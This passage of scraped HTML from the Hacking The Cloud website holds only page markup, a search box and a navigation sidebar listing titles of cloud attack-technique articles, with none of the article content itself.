dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> 